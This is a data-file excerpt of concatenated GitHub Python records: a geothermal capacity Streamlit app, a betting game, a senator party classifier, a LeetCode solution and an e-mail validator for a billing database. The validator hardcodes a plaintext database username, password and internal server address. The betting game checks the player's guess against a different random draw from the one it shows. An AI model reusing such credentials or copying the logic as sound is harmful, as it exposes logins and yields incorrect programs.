= float(colA.text_input(\"P90 (pessimistic) production area (km2)\", 1))\nPowerDens_P90 = float(colB.text_input(\"P90 (pessimistic) power density (MWe/km2)\", 10))\n\nArea_P10 = float(colA.text_input(\"P10 (optimistic) production area (km2)\", 10))\nPowerDens_P10 = float(colB.text_input(\"P10 (optimistic) power density (MWe/km2)\", 24))\n\n# ----------------------------------------------\n# Power capacity - calculations (under the hood)\n# ----------------------------------------------\n\n# Calculate nu and sigma for resource area \n# (the mean and variance in log units required for specifying lognormal distributions)\narea_nu = ((np.log(Area_P90)+np.log(Area_P10))/2)\narea_sigma = (np.log(Area_P10)-np.log(Area_P90))/((norm.ppf(1-0.1)-(norm.ppf(0.1))))\n\n# Calculate nu and sigma for the power density\npowerdens_nu = ((np.log(PowerDens_P90)+np.log(PowerDens_P10))/2)\npowerdens_sigma = (np.log(PowerDens_P10)-np.log(PowerDens_P90))/((norm.ppf(1-0.1)-(norm.ppf(0.1))))\n\n# Calculate nu and sigma for MWe Capacity\ncapacity_nu = area_nu + powerdens_nu\ncapacity_sigma = ((area_sigma**2)+(powerdens_sigma**2))**0.5\n\nindices = ['area [sqkm]', 'power_density [MWe/sqkm]', 'capacity [MWe]']\np_values = {'P90': [Area_P90, PowerDens_P90, 'P90_capacity'],\n            'P50': [round(np.exp(area_nu)), round(np.exp(powerdens_nu)), round(np.exp(capacity_nu))],\n            'P10': [Area_P10, PowerDens_P10, 'P10_capacity']}\n\n# NOTE double check these outputs against the cumulative confidence curve\n# Why does np.exp(capacity_nu) = 49% in the cumulative confidence curve data rather than 50%?\n# Would be good also to include the P90 and P10 capacity into the output table\n\nparam_df = pd.DataFrame.from_dict(p_values, orient='index', columns=indices)\n\n# Calculate cumulative confidence curve\nprob_df = calculate_cumulative_conf(Area_P90, Area_P10, PowerDens_P90, PowerDens_P10)\n\n\n# ------------------------------------------\n# Power capacity - simple web output to user \n# ------------------------------------------\n\n#\n# Table summarising input and output \n#\n\ncol1, col2, col3, col4 = st.columns([2,1,1,1])\n\n# Table headder\ncol1.header(\"Output\")\ncol2.header(\"P90\")\ncol3.header(\"P50\")\ncol4.header(\"P10\")\n\n# Row 1 - Range of areas\ncol1.write('Area (km2)')\ncol2.write(Area_P90)\ncol3.write(round(np.exp(area_nu),1))\ncol4.write(Area_P10)\n\n# Row 2 - Range of power density\ncol1.write('Power Density (MWe/km2)')\ncol2.write(PowerDens_P90)\ncol3.write(round(np.exp(powerdens_nu),1))\ncol4.write(PowerDens_P10)\n\n# Row 3 - Range of power capacity\ncol1.write('Power Capacity (MWe)')\n\nP90_MWe = prob_df.iloc[9,1]\ncol2.write(round(P90_MWe,1))\n\nP50_MWe = prob_df.iloc[49,1]\ncol3.write(round(P50_MWe,1))\n\nP10_MWe = prob_df.iloc[89,1]\ncol4.write(round(P10_MWe,1))\n\n#\n# Plot cumulative confidence curve\n#\nst.write('')\n\n# User input field for x axis max limit\ncola, colb = st.columns(2)\nx_max = float(cola.text_input(\"Maximum MWe for the cumulative confidence plot below\", 500))\n\n# Plotly plot setup\nfig = px.bar(\n    data_frame = prob_df, \n    y='Cumulative confidence (%)', \n    x='Expected development size (MWe)', \n    orientation='h', \n    range_x=[0,x_max])\n\nst.plotly_chart(fig)\n\n# -------------------------------------------------------------------------\n# Power capacity - Show/hide full results summary and downloadable results \n# -------------------------------------------------------------------------\n\nst_ex_AdvancedOutput = st.expander(label=\"Detailed output and downloads\") # Make an expander object\n\nwith st_ex_AdvancedOutput:   # Make these results hidden until expanded\n    ### Text output ###\n    st.markdown(\"___\")\n    #st.write(\"## Computation outputs \")\n    # Display the table, only every 10th row, and hide the index column to make it pretty\n    st.table(prob_df[prob_df.index%10==9].assign(hideIndex='').set_index('hideIndex'))\n\n    st.write(\"Calculate nu and sigma for area > 250 degC (the mean and variance in log units required for specifying lognormal distributions)\", area_nu)\n    st.write(\"Area sigma\", area_sigma)\n    \n    # Calculate nu and sigma for power density (the mean and variance in log units required for specifying lognormal distributions)\n    st.write(\"Calculate nu and sigma for power density (the mean and variance in log units required for specifying lognormal distributions)\")\n    st.write(\"Power density nu \",powerdens_nu)\n    st.write(\"Power density sigma \", powerdens_sigma)\n    \"capacity_sigma\", capacity_sigma\n    \"capacity_nu\", capacity_nu\n\n    st.write(\"### Click to download results\")\n\n    # Note, new versions of streamlit have a built in download button\n    #  If the current version ever brakes, consider switching to the built-in\n    #  Link below, scroll down slightly from there.\n    #   https://docs.streamlit.io/en/stable/api.html#display-interactive-widgets\n    \n    if st.button('Build Confidence-curve CSV for download'):\n        tmp_download_link = download_link(prob_df, 'cum_conf_curve.csv', 'CSV built! Click here to download your data!')\n        st.markdown(tmp_download_link, unsafe_allow_html=True)\n\n    if st.button('Build parameter CSV for download'):\n        tmp_download_link_params = download_link(param_df, 'parameter_values.csv', 'CSV built! Click here to download your data!')\n        st.markdown(tmp_download_link_params, unsafe_allow_html=True)\n\n    st.markdown(\"___\")\n\n# ----------\n# App footer\n# ----------\n\nst.markdown(\"___\")\n\nst.write(\"\") \n\nst.write(\"Made with ❤️ at the [SWUNG 2021 geothermal hack-a-thon](https://softwareunderground.org/events/2021/5/13/geothermal-hackathon)\")\nst.write(\"See the [github repo](https://github.com/Geothermal-Resource-Capacity/Power-Density) for project information and contributors\")\n","repo_name":"Geothermal-Resource-Capacity/Power-Density","sub_path":"streamlit/Power-Density_streamlit.py","file_name":"Power-Density_streamlit.py","file_ext":"py","file_size_in_byte":18126,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"39405740630","text":"import random\nimport os\n\ndef random_number(): \n    return random.randint(1, 2) \n\ntienvnd = 500000\nbankvnd = 0\ncauhoi = \"Bạn có muốn tiếp tục không ?\"\nluachon = \"0. Không || 1. Có\"\nlichsu = []\nwhile True:\n    print(\"Số dư của bạn hiện tại là:\",tienvnd)\n    # Chọn điều kiện chẵn lẻ\n    print(\"Mời chọn chẵn hoặc lẻ:\")\n    print(\"1. Lẻ || 2. Chẵn\")\n    print(\"Chọn:\")\n    chon = int(input())\n    print(\"Con số random ra là: \",random_number())\n    if chon == 1:\n        print(\"Bạn chọn lẻ\")\n    elif chon == 2:\n        print(\"Bạn chọn chẵn\")\n    else:\n        while True:\n            print(\"Vui lòng chỉ chọn 1 hoặc 2\")\n            print(\"Chọn:\")\n            chon = int(input())\n            if chon == 1 or chon == 2:                \n                break\n    # Cải tiến khi chọn đúng or sai\n    if(chon == random_number()):\n        print(\"Chúc mừng bạn chọn đúng ^_^\")\n        tienvnd += 50000\n        bankvnd = tienvnd\n        lichsu.append(bankvnd)\n        print(\"Lịch sử giao dịch của bạn:\",lichsu)\n    else:\n        print(\"Rất tiếc, bạn chọn sai :(\")\n        tienvnd -= 50000\n        bankvnd = tienvnd\n        lichsu.append(bankvnd)\n        print(\"Lịch sử giao dịch của bạn:\",lichsu)\n    \n    print(cauhoi)\n    print(luachon) \n    x = int(input())\n    if x == 0:\n        break\n    else:\n        os.system(\"cls\")\n\n\n\n\n","repo_name":"bachsykhang/gamechanlepython","sub_path":"game.py","file_name":"game.py","file_ext":"py","file_size_in_byte":1438,"program_lang":"python","lang":"vi","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"12483639592","text":"# Import the necessary modules\r\nimport pandas as pd\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\nimport os\r\nimport wikipedia\r\nfrom nltk.tokenize import RegexpTokenizer\r\n\r\n# Change the working directory to the script's directory\r\nos.chdir('C:\\\\Users\\\\Adeet Patel\\\\Google Drive\\\\Documents\\\\Education\\\\University\\\\Clubs\\\\HackCville\\\\Skills Course - Node\\\\Projects\\\\Web Scraping')\r\n\r\n# Import the list of senators and political parties, and create two separate dataframes: one for Democrats and one for Republicans\r\nsenators = pd.read_csv('Senator List.csv')\r\ndemocrats = senators[senators['Party'] == 'Democrat']\r\nrepublicans = senators[senators['Party'] == 'Republican']\r\n\r\n# Download each senator's article content via web scraping, using the Wikipedia API\r\n# Create two lists - pages_R and pages_D - which contain the article content for each Republican and Democrat senator, respectively\r\n\r\nprint('Downloading Republican senator data...')\r\npages_R = []\r\nfor senator in republicans.iloc[:, 0]:\r\n    page = wikipedia.page(senator)\r\n    pages_R.append(page.content)\r\n    print(senator)\r\nprint('')\r\n\r\nprint('Downloading Democrat senator data...')\r\npages_D = []\r\nfor senator in democrats.iloc[:, 0]:\r\n    page = wikipedia.page(senator)\r\n    pages_D.append(page.content)\r\n    print(senator)\r\nprint('')\r\n\r\n###############################################################\r\n\r\n# Create a dataset containing each Republican senator's name and their respective article\r\ndataset_R = []\r\nfor i in range(0, len(republicans)):\r\n    dataset_R.append([republicans.iloc[i][0], pages_R[i]])\r\n        \r\ndataset_R = pd.DataFrame(dataset_R, columns = ['Senator Name', 'Article'])\r\n\r\n# Calculate the number of instances of the word \"Republican\" and \"Democrat\" in the article to predict which political party a Republican senator is in\r\n# Also count variations in those words, such as \"republicans\", \"democrats\", and \"democratic\"\r\n# The entire article was converted to lowercase in order to avoid case-sensitivity (e.g. otherwise, \"republican\" and \"Republican\" would be considered two different words)\r\ncounts_R = []\r\ncounts_D = []\r\nfor i in range(0, len(republicans)):\r\n    article = dataset_R.iloc[i][1]\r\n    tokenizer = RegexpTokenizer(r'\\w+')\r\n    article_words = []\r\n    for word in tokenizer.tokenize(article):\r\n        article_words.append(word.lower())\r\n    counts_R.append(article_words.count('republican') + article_words.count('republicans'))\r\n    counts_D.append(article_words.count('democrat') + article_words.count('democrats') + article_words.count('democratic'))\r\n\r\n# Add the word counts to the dataset\r\ndataset_R[\"# of 'Republican'\"] = counts_R\r\ndataset_R[\"# of 'Democrat'\"] = counts_D\r\n          \r\n# Since the words in the articles have already been counted, the articles themselves are no longer necessary, and so they can be deleted\r\ndataset_R = dataset_R.drop(columns = 'Article')\r\n\r\n###############################################################\r\n\r\n# Create a dataset containing each Democrat senator's name and their respective article\r\ndataset_D = []\r\nfor i in range(0, len(democrats)):\r\n    dataset_D.append([democrats.iloc[i][0], pages_D[i]])\r\n        \r\ndataset_D = pd.DataFrame(dataset_D, columns = ['Senator Name', 'Article'])\r\n\r\n# Calculate the number of instances of the word \"Republican\" and \"Democrat\" in the article to predict which political party a senator is in\r\n# Also count variations in those words, such as \"republicans\", \"democrats\", and \"democratic\"\r\n# The entire article was converted to lowercase in order to avoid case-sensitivity (e.g. otherwise, \"republican\" and \"Republican\" would be considered two different words)\r\ncounts_R = []\r\ncounts_D = []\r\nfor i in range(0, len(democrats)):\r\n    article = dataset_D.iloc[i][1]\r\n    tokenizer = RegexpTokenizer(r'\\w+')\r\n    article_words = []\r\n    for word in tokenizer.tokenize(article):\r\n        article_words.append(word.lower())\r\n    counts_R.append(article_words.count('republican') + article_words.count('republicans'))\r\n    counts_D.append(article_words.count('democrat') + article_words.count('democrats') + article_words.count('democratic'))\r\n\r\n# Add the word counts to the dataset\r\ndataset_D[\"# of 'Republican'\"] = counts_R\r\ndataset_D[\"# of 'Democrat'\"] = counts_D\r\n\r\n# Since the words in the articles have already been counted, the articles themselves are no longer necessary, and so they can be deleted\r\ndataset_D = dataset_D.drop(columns = 'Article')\r\n\r\n###############################################################\r\n\r\n# This is essentially a machine learning classification model\r\n# Predict each senator's political party based on how frequent the words \"Republican\" and \"Democrat\" (including their variations) appear in the code.\r\n# If \"Republican\" appears more frequently than \"Democrat\", the party is predicted as Republican, and vice versa\r\n# If both words are equally frequent, the senator's political party cannot be determined, and thus in that case, the model returns NaN\r\n\r\n# Make predictions for Republican senators\r\npredicted_R = []\r\nfor i in range(0, len(dataset_R)):\r\n    if dataset_R.iloc[i][1] > dataset_R.iloc[i][2]:\r\n        predicted_R.append('Republican')\r\n    elif dataset_R.iloc[i][1] == dataset_R.iloc[i][2]:\r\n        predicted_R.append(np.nan)\r\n    else:\r\n        predicted_R.append('Democrat')\r\n\r\n# Add the predicted parties to the dataset\r\ndataset_R['Predicted Party'] = predicted_R\r\n\r\n# Make predictions for Democrat senators\r\npredicted_D = []\r\nfor i in range(0, len(dataset_D)):\r\n    if dataset_D.iloc[i][1] > dataset_D.iloc[i][2]:\r\n        predicted_D.append('Republican')\r\n    elif dataset_D.iloc[i][1] == dataset_D.iloc[i][2]:\r\n        predicted_D.append(np.nan)\r\n    else:\r\n        predicted_D.append('Democrat')\r\n\r\n# Add the predicted parties to the dataset\r\ndataset_D['Predicted Party'] = predicted_D\r\n\r\n# Count the number of true and false political party predictions\r\n# pred_DD represents the number of senators that are actually Democrats and were predicted to be Democrats (correct result)\r\n# pred_DR represents the number of senators that are actually Democrats and were predicted to be Republicans (false prediction)\r\n# pred_RD represents the number of senators that are actually Republicans and were predicted to be Democrats (false prediction)\r\n# pred_RR represents the number of senators that are actually Republicans and were predicted to be Republicans (correct result)\r\n\r\npred_DD = 0\r\npred_DR = 0\r\npred_RD = 0\r\npred_RR = 0\r\n\r\nfor entry in dataset_D['Predicted Party']:\r\n    if entry == 'Democrat':\r\n        pred_DD += 1\r\n    elif entry == 'Republican':\r\n        pred_DR += 1\r\n\r\nfor entry in dataset_R['Predicted Party']:\r\n    if entry == 'Democrat':\r\n        pred_RD += 1\r\n    elif entry == 'Republican':\r\n        pred_RR += 1\r\n\r\n# Create a confusion matrix, which shows the distribution of true and false predictions, and compute the overall accuracy rate of the model\r\n\r\nconfusion_matrix = np.matrix([[pred_DD, pred_DR], [pred_RD, pred_RR]])\r\nsuccess = (pred_DD + pred_RR) / (pred_DD + pred_DR + pred_RD + pred_RR) * 100\r\nprint(confusion_matrix)\r\nprint('')\r\nprint('Prediction Success: ' + str(round(success, 2)) + '%')\r\n\r\n###############################################################\r\n\r\n# Create a scatterplot of the results\r\n# Points show true predictions, and Xs show false predictions\r\n\r\nplt.figure()\r\n# Actual democrats, predicted democrats\r\nplt.scatter(dataset_D[\"# of 'Republican'\"][dataset_D['Predicted Party'] == 'Democrat'], dataset_D[\"# of 'Democrat'\"][dataset_D['Predicted Party'] == 'Democrat'], c = 'blue', marker = '.')\r\n\r\n# Actual democrats, predicted republicans\r\nplt.scatter(dataset_D[\"# of 'Republican'\"][dataset_D['Predicted Party'] == 'Republican'], dataset_D[\"# of 'Democrat'\"][dataset_D['Predicted Party'] == 'Republican'], c = 'blue', marker = 'X')\r\n\r\n# Actual republicans, predicted democrats\r\nplt.scatter(dataset_R[\"# of 'Republican'\"][dataset_R['Predicted Party'] == 'Democrat'], dataset_R[\"# of 'Democrat'\"][dataset_R['Predicted Party'] == 'Democrat'], c = 'red', marker = 'X')\r\n\r\n# Actual republicans, predicted republicans\r\nplt.scatter(dataset_R[\"# of 'Republican'\"][dataset_R['Predicted Party'] == 'Republican'], dataset_R[\"# of 'Democrat'\"][dataset_R['Predicted Party'] == 'Republican'], c = 'red', marker = '.')                      \r\n\r\nplt.xlabel('# of Instances of \"Republican\"')\r\nplt.ylabel('# of Instances of \"Democrat\"')\r\nplt.title(\"Predicting a Senator's Political Party Based on Word Frequency\")","repo_name":"adeet1/hc-node","sub_path":"projects/web-scraping/political-party-prediction.py","file_name":"political-party-prediction.py","file_ext":"py","file_size_in_byte":8472,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"29497373106","text":"'''\n给定一个无重复元素的数组 candidates 和一个目标数 target ，找出 candidates 中所有可以使数字和为 target 的组合。\n\ncandidates 中的数字可以无限制重复被选取。\n\n说明：\n\n所有数字（包括 target）都是正整数。\n解集不能包含重复的组合。 \n示例 1:\n\n输入: candidates = [2,3,6,7], target = 7,\n所求解集为:\n[\n  [7],\n  [2,2,3]\n]\n示例 2:\n\n输入: candidates = [2,3,5], target = 8,\n所求解集为:\n[\n  [2,2,2,2],\n  [2,3,3],\n  [3,5]\n]\n\n来源：力扣（LeetCode）\n链接：https://leetcode-cn.com/problems/combination-sum\n著作权归领扣网络所有。商业转载请联系官方授权，非商业转载请注明出处。\n'''\n\nclass Solution:\n    def combinationSum_1(self, candidates: [int], target: int) -> [[int]]:\n        #未剪枝\n        def backtrack(nums, path, tar):\n            if sum(path) > tar:\n                return\n            elif sum(path) == tar:\n                res.append(path[:])\n                return\n            for i in range(len(nums)):\n                path.append(nums[i])\n                backtrack(nums[i:], path, tar)\n                path.pop()\n\n        nums = candidates\n        res = []\n        tar = target\n        backtrack(nums, [], tar)\n\n        return res\n\n    def combinationSum_2(self, candidates: [int], target: int) -> [[int]]:\n        #剪枝，加速\n        def backtrack(i, path, tar):\n            if tar == 0:\n                res.append(path[:])\n                return\n            for j in range(i,len(nums)):\n                #利用变量tar纪录每次选择前的差量，来判断选择与否\n                if tar - nums[j] >= 0:\n                    path.append(nums[j])\n                    backtrack(j, path, tar - nums[j])\n                    path.pop()\n\n        nums = candidates\n        res = []\n        tar = target\n        backtrack(0, [], tar)\n\n        return res\n\n#测试\ncandidates = [2,3,5]\ntarget = 8\n\nres = Solution().combinationSum_2(candidates,target)\nprint(res)\n\n","repo_name":"Da1anna/Data-Structed-and-Algorithm_python","sub_path":"leetcode/其它题型/回溯/组合总和.py","file_name":"组合总和.py","file_ext":"py","file_size_in_byte":2024,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"37821814995","text":"import pandas as pd\nimport pymssql as psq\nimport psycopg2.extras\nfrom email_validate import validate, validate_or_fail\nimport email_validate.exceptions as eex\nimport time\nfrom progress.bar import IncrementalBar\n\n# Соединяемся с базой стека\nmes_conn = psq.connect(server='192.168.9.10', user='LUBCHANSKIY', password='789456', database='Magadan_stack', charset='utf8')\n\n# Функция запроса е-маил физиков\ndef email_fizlic(s_conn):\n    cursor = s_conn.cursor()\n    sql_srting = \"SELECT лс.Номер лицевой, св.Примечание email FROM stack.Свойства св join stack.[Лицевые счета] лс ON лс.ROW_ID = св.[Счет-Параметры] where [Виды-Параметры]=177\"\n    cursor.execute(sql_srting)\n    row = cursor.fetchone()\n    data = []\n    while row:\n        data.append([row[0], row[1].encode('windows-1251').decode()])\n        row = cursor.fetchone()      \n    return data\n\n# Функция запроса е-маил юриков\ndef email_ulorg(s_conn):\n    cursor = s_conn.cursor()\n    cursor.execute(\"SELECT Название, орг.email FROM stack.[Организации] орг where email is not null and email != ''\")\n    row = cursor.fetchone()\n    data = []\n    while row:\n        data.append([row[0].encode('ISO-8859-1').decode('windows-1251'), row[1]]) # Перекодируем строчку со странной кодировкой принятой с БД\n        row = cursor.fetchone()      \n    return data\n\n# Запрашиваем таблички e-mail физиков и юриков\nfiz_email_list = email_fizlic(mes_conn)\nul_email_list = email_ulorg(mes_conn)\n\n# Функция проверки e-mail адресов\ndef valid_email(email):\n    try:\n        validate_or_fail(\n            email_address=email,\n            check_format=True,\n            check_blacklist=False,\n            check_dns=True,\n            dns_timeout=10,\n            check_smtp=True,\n            smtp_debug=False\n        )\n    except eex.DomainNotFoundError:\n        return 'Адрес домена не найден'\n    except eex.NoNameserverError:\n        return '' # Почему то ругается на многие нормальные адреса, поэтому отключил\n    except eex.DNSTimeoutError:\n        return 'Истекло время ожидания при запросе сервера имен.'\n    except eex.DNSConfigurationError:\n        return 'Сервер имен настроен неправильно.'\n    except eex.NoMXError:\n        return 'Сервер имен не содержит записей MX для домена.'\n    except eex.NoValidMXError:\n        return 'Сервер имен перечисляет записи MX для домена, но ни одна из них не является допустимой.'\n    except eex.AddressFormatError:\n        return 'Формат адреса не соответствует требованиям'\n    except eex.DomainBlacklistedError:\n        return 'Адрес домена в черном списке!'\n    except eex.SMTPError:\n        return 'Ошибка доставки по адресу, адрес не существует'\n    else:\n        return ''\n    \n\n# Проверяем физиков\nemail_errors = []\nbar = IncrementalBar('Countdown', max = len(fiz_email_list))\nfor email_ls in fiz_email_list:\n    res = valid_email(email_ls[1])\n    if res != '':\n        email_errors.append([email_ls[0], email_ls[1], res])\n    bar.next()\nbar.finish()\nemail_df = pd.DataFrame(email_errors)\n\n\n# Проверяем юриков\nul_email_errors = []\nbar = IncrementalBar('Countdown', max = len(ul_email_list))\nfor email_ls in ul_email_list:\n    if ';' in email_ls[1]:\n        spl_res = email_ls[1].split(';')\n        for eml in spl_res:\n            res = valid_email(eml)\n            if res != '':\n                ul_email_errors.append([email_ls[0], eml, res])\n    elif  ',' in email_ls[1]:\n        spl_res = email_ls[1].split(',')\n        for eml in spl_res:\n            res = valid_email(eml)\n            if res != '':\n                ul_email_errors.append([email_ls[0], eml, res])\n    else:\n        res = valid_email(email_ls[1])\n        if res != '':\n            ul_email_errors.append([email_ls[0], email_ls[1], res])\n    bar.next()\nbar.finish()            \nulemail_df = pd.DataFrame(ul_email_errors)\n\n# Запихиваем все в Excel\nsh_name_fl = 'Ошибки физиков'\nsh_name_ul = 'Ошибки юриков'\nwriter = pd.ExcelWriter('email_error.xlsx', engine='xlsxwriter')\n\nemail_df.to_excel(writer, sheet_name=sh_name_fl, index=False)\nulemail_df.to_excel(writer, sheet_name=sh_name_ul, index=False)\n\nwriter.save()\nwriter.close()\n\n","repo_name":"VRaptor555/my-apps","sub_path":"mes/email_valid.py","file_name":"email_valid.py","file_ext":"py","file_size_in_byte":4783,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"23012178703","text":"from responses.standard_response_body import StandardResponseBody\nfrom tokens import controllers as token_controllers\n\n\nasync def validate_token(token):\n    return StandardResponseBody(\n        True, \"Valid token\", token.token_value\n        )\n\n\n\nasync def refresh_token(token):\n    res = await token_controllers.refresh_token_by_token(token)\n    #print(res)\n    if res:\n        return StandardResponseBody(\n            True, \"Token refreshed\", res.token_value\n        )\n    return StandardResponseBody(\n        False, \"Token not refreshed\"\n    )","repo_name":"jaisal1311/fastapi-dev","sub_path":"tokens/routes.py","file_name":"routes.py","file_ext":"py","file_size_in_byte":545,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"73430000720","text":"# chamar pedido\nimport time\n\n\n\n# ganhar desconto\nfrom selenium.webdriver.common.alert import Alert\n\n\ndef ganhardesconto(d):\n    limpar()\n    nomeupper = ''\n    escrever('GANHAR DESCONTO [1]SIM [2]NÃO')\n    desconto = int(input(''))\n    cpflimpo = ' '\n    ddd = 1\n    tel = 1\n    if desconto == 2:\n        return novopedido(nomeupper, cpflimpo, ddd, tel)\n\n    if desconto == 1:\n        limpar()\n        nomec = ''\n        while len(nomec) < 3:\n            escrever('NOME: ')\n            nomec = input('')\n\n        # upper\n        nomeupper = nomec.upper()\n\n        cpflimpo = \"\"\n        while (len(cpflimpo) < 10) or len(cpflimpo) > 11:\n            escrever('CPF:')\n            cpflimpo = str(input(''))\n\n            if len(cpflimpo) == 10:\n                cpflimpo = \"0\" + cpflimpo\n\n        ddd = \"\"\n        while len(ddd) != 2:\n            escrever('DDD:')\n            ddd = str(input(''))\n\n        tel = \"\"\n        while len(tel) != 9:\n            escrever('TELEFONE:')\n            tel = str(input(''))\n\n        # importar data\n        from datetime import datetime\n        now = datetime.now()\n\n        # conctenar minutus horas dia mes ano\n        data = (str(now.minute) + \":\" + str(now.hour) + \";\" + str(now.day) + \"/\" + str(now.month) + \"/\" + str(now.year))\n\n        # linha para salvar\n        linhacliente = (cpflimpo + \";\" + nomeupper + \";\" + ddd + \";\" + tel + \";\" + data + \"\\n\")\n\n        # abrir ou criar arquivo\n        arquivo = open('cliente.csv', 'a',encoding=\"utf8\", newline=\"\")\n\n        # escrever linha\n        arquivo.write(\"%s\" % linhacliente)\n\n        # fechar\n        arquivo.close()\n\n        novopedido(nomeupper,cpflimpo, ddd, tel)\n\n    if desconto == 2:\n        limpar()\n        return novopedido(1)\n\n\n\n\ndef desconto_para_clientes_cadastrados(cpflimpo, total):\n    if len(cpflimpo) >= 10:\n        descontototal = total / 20# cinco % de desconto\n        return descontototal\n    else:\n        return 0\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n#pedido na tela\ndef chamarpedido(d):\n    limpar()\n    escrever('digite O PEDIDO: ')\n    chamarpedido = int(input(''))\n    limpar()\n    escrever(str(chamarpedido))\n    escrever(str(chamarpedido) + ' CONCLUIDO [1] CANCELAR [0]')\n    opchamar = 1\n    opchamar = str(input(''))\n    if opchamar == '0':\n        return menu()\n\n    return pedidotela(str(chamarpedido))\n\n# chamar pedido com musica\ndef pedidotela(texto):\n    limpar()\n\n    import pygame\n    pygame.init()\n    limpar()\n    pygame.mixer.music.load('ex01.mp3')\n    limpar()\n    pygame.mixer.music.play()\n    # pygame.event.wait()\n    limpar()\n    tamanhotexto = len(texto) + 20\n    print('#' * tamanhotexto)\n    print(\" \" * 10, texto)\n    print('#' * tamanhotexto)\n    import time\n    time.sleep(5)\n\n# limpar tela\ndef limpar():\n    return print(\"\\n\" * 100)\n\n# novo pedido\ndef novopedido(nome,cpflimpo, ddd, tel):\n    limpar()\n\n    # mais um comvalor 1 para fazer o primeiro pedido\n    maisum = 1\n\n    total = 0\n\n    if len(nome) < 1:\n        nomeok = 0\n        while nomeok == 0:\n            escrever(\"NOME DO CLIENTE: \")\n            nomeup = input(\"\")\n            nome = nomeup.upper()\n            limpar()\n            escrever(nome)\n            escrever('CONTINUAR     [1]')\n            escrever('ALTERAR NOME? [0]')\n            opnome = int(input(''))\n            limpar()\n            if opnome == 1:\n                nomeok = 1\n\n\n\n    dic={}\n    lista=list()\n    # mais um com o valor 1 para iniciar\n    maisum = 1\n    while maisum == 1:\n\n        if len(str(lista)) > 2:\n\n            print('~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~')\n            print('JÁ ADICIONADO ')\n\n            for add in lista:\n                minhalinha = ''\n                add.split(';')\n                for um in add:\n                    minhalinha = minhalinha+str(um)\n\n\n\n                remover =', )\\', ( '\n                for i in range(0, len(remover)):\n                    minhalinha = minhalinha.replace(remover[i], '')\n\n                minhalinha = minhalinha.replace('|||', '')\n                minhalinha = minhalinha.replace('||', '')\n                minhalinha = minhalinha.replace('|', ' | ')\n\n                print(minhalinha)\n\n            print('~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~')\n\n\n        # ecolher sabor\n        SABOR = addproduto(1)\n\n\n\n        #escrever(\"SABORES:  \\n  [1] CHOCOLATE \\n  [2] MISTO \\n  [3] CREME\\n  [4] triplo chocolate Kopenhagen\\n  [5] Kit Kat\")\n\n        # quantidade de sorvetes reverente ao sabo\n        QTDO = 1\n        escrever(\"QUANTIDADE: \")\n        QTDO = (int(input(\"\")))\n        \n\n\n\n\n\n\n\n\n        # cobertura extra só por categoria/grupo de produtos\n        #######################################################\n\n        # cobertura extra\n        #escrever('COBERTURA EXTRA [1] SIM [2] NÃO')\n        #coberturaextra=int(input(''))\n        #if coberturaextra == 1:\n        #    total = total + 2 # mais 2 reais de cobertura extra\n        #    #abrirfoto('e')\n        #    extra = ' COM COBERTURA EXTRA'\n\n        #else:\n        #    extra = 'SEM COBERTURA EXTRA'\n        extra = ''\n\n\n        # cobertura extra só por categoria/grupo de produtos\n        #######################################################\n\n\n\n\n\n\n        # preço total do pedido\n        descontodef = calcularprecototal(QTDO, SABOR)\n        total = total + descontodef\n        linhadoproduto = str(SABOR)\n        valorli = linhadoproduto.split('|')\n        valorreal = float(valorli[1])\n        valorreal = QTDO * valorreal\n        total = total + valorreal\n\n\n\n\n\n\n\n\n\n\n        # lista de sabor e quantidade\n        um = str(QTDO)\n        lista.append(\"|| {} | {} | {} ||\".format(str(um), str(SABOR), str(extra)))\n\n\n\n\n        # limpar tela\n        limpar()\n\n\n\n        # mostrar na tela os ja add\n        if len(str(lista)) > 2:\n            print('~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~')\n            print('JÁ ADICIONADO ')\n\n\n\n            for add in lista:\n                minhalinha = ''\n                add.split(';')\n                for um in add:\n                    minhalinha = minhalinha+str(um)\n\n                remover = ', )\\', ( '\n                for i in range(0, len(remover)):\n                    minhalinha = minhalinha.replace(remover[i], '')\n\n                minhalinha = minhalinha.replace('|||', '')\n                minhalinha = minhalinha.replace('||', '')\n                minhalinha = minhalinha.replace('|', ' | ')\n                minhalinha = minhalinha.replace(' | ', '?')\n                minhalinha = minhalinha.replace('|', '')\n                minhalinha = minhalinha.replace('?', ' | ')\n                print(minhalinha)\n            #print('\\n')\n            #print('TOTAL: '+str(total))\n            print('~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~')\n\n\n\n\n        escrever(\"mais um   [1]\")\n        escrever(\"finalizar [2]\")\n        maisum = int(input(''))\n\n\n        if maisum == 2:\n            maisum = 0\n\n        # limpar tela\n        limpar()\n\n\n\n\n\n\n\n\n\n    # importar data\n    from datetime import datetime\n\n    # agora\n    now = datetime.now()\n\n    # conctenar minutus horas dia mes ano\n    horahora = str(now.hour)\n    if len(horahora)<2:\n        horahora ='0'+str(now.hour)\n\n    minutominuto=str(now.minute)\n    if len(minutominuto)<2:\n        minutominuto ='0'+str(now.minute)\n\n\n    data = (horahora + \":\" + minutominuto + \";\" + str(now.day) + \"/\" + str(now.month) + \"/\" + str(now.year))\n\n\n    # mostrar o pedido completo para o usuario para confirmar pedido/venda\n\n    m = int(now.minute)\n    h = int(now.hour)\n    d = int(now.day)\n    me = int(now.month)\n    an = int(now.year)\n    numeropedidovariavel = str(numeropedido(m, h, d, me, an))\n    escrever('NOME: ' + nome)\n    listalinha = str(lista)\n    listalinha=listalinha.replace(' ','')\n    listalinha=listalinha.replace(']','')\n    listalinha=listalinha.replace('[','')\n    listalinha=listalinha.replace('\\\"','')\n    listalinha=listalinha.replace('||','')\n    